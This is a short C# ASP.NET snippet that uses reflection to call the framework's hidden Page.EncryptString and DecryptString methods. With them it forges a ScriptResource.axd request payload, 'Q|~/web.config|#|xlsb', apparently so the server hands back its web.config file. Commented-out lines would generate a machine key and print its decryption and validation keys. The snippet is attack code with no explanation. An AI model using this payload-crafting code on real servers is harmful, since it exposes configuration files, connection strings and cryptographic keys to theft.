protected void Page_Load(object sender, EventArgs e)
{ var url= string.Format("ScriptResource.axd?d={0}", PageEncryptString("Q|~/web.config|#|xlsb"));
//var info = F.Studio.Web.Utility.MachineKeyUtil.GenerateMachineKey();
//Response.Write("D->" + info.Decryption +":" + info.DecryptionKey +"
"); //Response.Write("V->" + info.Validation +":" + info.ValidationKey);
}
public static string PageDecryptString(string input) {
Type type = typeof(System.Web.UI.Page);
object o = Activator.CreateInstance(type);
System.Reflection.MethodInfo mi = type.GetMethod("DecryptString", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static, null, new Type[] { typeof(string) }, null);
object result = mi.Invoke(o, new object[] { input }); return result.ToString();
}
public static string PageEncryptString(string input)
{
Type type = typeof(System.Web.UI.Page);
object o = Activator.CreateInstance(type); System.Reflection.MethodInfo mi = type.GetMethod("EncryptString", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static, null, new Type[] { typeof(string) }, null); object result = mi.Invoke(o, new object[] { input }); return result.ToString();
}